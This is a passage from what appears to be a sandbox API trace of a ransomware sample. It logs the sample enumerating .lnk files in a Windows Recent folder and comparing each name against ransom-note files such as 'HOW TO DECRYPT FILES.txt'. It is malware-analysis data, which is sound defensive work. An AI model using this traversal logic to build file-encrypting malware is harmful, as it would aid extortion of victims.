returned="DSOczaBdRn.lnk" [0088.722] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.722] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.722] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5234cc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5234cc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5234cc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="DWVHPb7S.lnk", cAlternateFileName="")) returned 1 [0088.723] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.723] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DWVHPb7S.lnk") returned 1 [0088.723] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DWVHPb7S.lnk") returned 1 [0088.723] lstrcmpiA (lpString1="", lpString2="DWVHPb7S.lnk") returned -1 [0088.723] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dVU2z0U1YLuvRtc.lnk") returned="dVU2z0U1YLuvRtc.lnk" [0088.723] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.723] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.723] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f29cc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3f29cc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3f29cc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa63, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="EcAiGGstX1C6un.lnk", cAlternateFileName="ECAIGG~1.LNK")) returned 1 [0088.723] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.723] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EcAiGGstX1C6un.lnk") returned -1 [0088.723] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EcAiGGstX1C6un.lnk") returned 1 [0088.723] lstrcmpiA (lpString1="", lpString2="EcAiGGstX1C6un.lnk") returned -1 [0088.723] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DWVHPb7S.lnk") returned="DWVHPb7S.lnk" [0088.723] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.724] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.724] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe469a180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe469a180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe469a180, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="eLjr.lnk", cAlternateFileName="")) returned 1 [0088.724] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.724] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eLjr.lnk") returned -1 [0088.724] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eLjr.lnk") returned 1 [0088.724] lstrcmpiA (lpString1="", lpString2="eLjr.lnk") returned -1 [0088.724] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EcAiGGstX1C6un.lnk") returned="EcAiGGstX1C6un.lnk" [0088.724] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.725] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.725] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3eb78a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3eb78a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3eb78a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="eNNujrkf.lnk", cAlternateFileName="")) returned 1 [0088.725] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.725] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eNNujrkf.lnk") returned -1 [0088.725] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eNNujrkf.lnk") returned 1 [0088.725] lstrcmpiA (lpString1="", lpString2="eNNujrkf.lnk") returned -1 [0088.725] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eLjr.lnk") returned="eLjr.lnk" [0088.725] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.725] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.726] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbeaf40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfbeaf40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfbeaf40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="eQQ1CZ9q6 9jR.lnk", cAlternateFileName="EQQ1CZ~1.LNK")) returned 1 [0088.726] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.726] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eQQ1CZ9q6 9jR.lnk") returned -1 [0088.726] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eQQ1CZ9q6 9jR.lnk") returned 1 [0088.726] lstrcmpiA (lpString1="", lpString2="eQQ1CZ9q6 9jR.lnk") returned -1 [0088.726] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eNNujrkf.lnk") returned="eNNujrkf.lnk" [0088.726] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.726] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.726] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ccbf20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ccbf20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ccbf20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Er6vdk0KEFFoOcK.lnk", cAlternateFileName="ER6VDK~1.LNK")) returned 1 [0088.726] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.726] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Er6vdk0KEFFoOcK.lnk") returned -1 [0088.726] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Er6vdk0KEFFoOcK.lnk") returned 1 [0088.726] lstrcmpiA (lpString1="", lpString2="Er6vdk0KEFFoOcK.lnk") returned -1 [0088.727] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eQQ1CZ9q6 9jR.lnk") returned="eQQ1CZ9q6 9jR.lnk" [0088.727] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.727] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.727] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32123c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe32123c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3238520, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a24, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="F7cGZVL0.lnk", cAlternateFileName="")) returned 1 [0088.727] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.727] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="F7cGZVL0.lnk") returned -1 [0088.727] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="F7cGZVL0.lnk") returned 1 [0088.727] lstrcmpiA (lpString1="", lpString2="F7cGZVL0.lnk") returned -1 [0088.727] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Er6vdk0KEFFoOcK.lnk") returned="Er6vdk0KEFFoOcK.lnk" [0088.727] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.727] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.727] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e5a160, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e5a160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2e5a160, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="FApU.lnk", cAlternateFileName="")) returned 1 [0088.727] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.728] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FApU.lnk") returned -1 [0088.728] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FApU.lnk") returned 1 [0088.728] lstrcmpiA (lpString1="", lpString2="FApU.lnk") returned -1 [0088.728] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\F7cGZVL0.lnk") returned="F7cGZVL0.lnk" [0088.728] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.728] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.728] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e9f360, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6e9f360, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6ec54c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="FKutm4WJF.lnk", cAlternateFileName="FKUTM4~1.LNK")) returned 1 [0088.728] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.728] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FKutm4WJF.lnk") returned -1 [0088.728] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FKutm4WJF.lnk") returned 1 [0088.728] lstrcmpiA (lpString1="", lpString2="FKutm4WJF.lnk") returned -1 [0088.728] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FApU.lnk") returned="FApU.lnk" [0088.728] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.728] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.729] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30e18c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe30e18c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe30e18c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14a4, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="fnMKi.lnk", cAlternateFileName="")) returned 1 [0088.729] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.729] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="fnMKi.lnk") returned -1 [0088.729] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FKutm4WJF.lnk") returned="FKutm4WJF.lnk" [0088.729] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.729] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.729] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4732700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4732700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4732700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa31, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="gAWK3pTQz16l.lnk", cAlternateFileName="GAWK3P~1.LNK")) returned 1 [0088.729] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.729] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fnMKi.lnk") returned="fnMKi.lnk" [0088.729] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.729] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.729] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ec54c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6ec54c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6ec54c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="GlO7KwnRBCgMTTPQ.lnk", cAlternateFileName="GLO7KW~1.LNK")) returned 1 [0088.730] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.730] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gAWK3pTQz16l.lnk") returned="gAWK3pTQz16l.lnk" [0088.730] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.730] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.731] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfe726a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe4223840, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4223840, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="GqRacOScnNJo.lnk", cAlternateFileName="GQRACO~1.LNK")) returned 1 [0088.731] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.731] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlO7KwnRBCgMTTPQ.lnk") returned="GlO7KwnRBCgMTTPQ.lnk" [0088.731] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.731] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.731] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5f26460, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5f26460, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5f26460, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x279a, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="GXlOJ84-SLMfj37e6tM.lnk", cAlternateFileName="GXLOJ8~1.LNK")) returned 1 [0088.731] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.731] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GqRacOScnNJo.lnk") returned="GqRacOScnNJo.lnk" [0088.731] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.731] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.731] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, 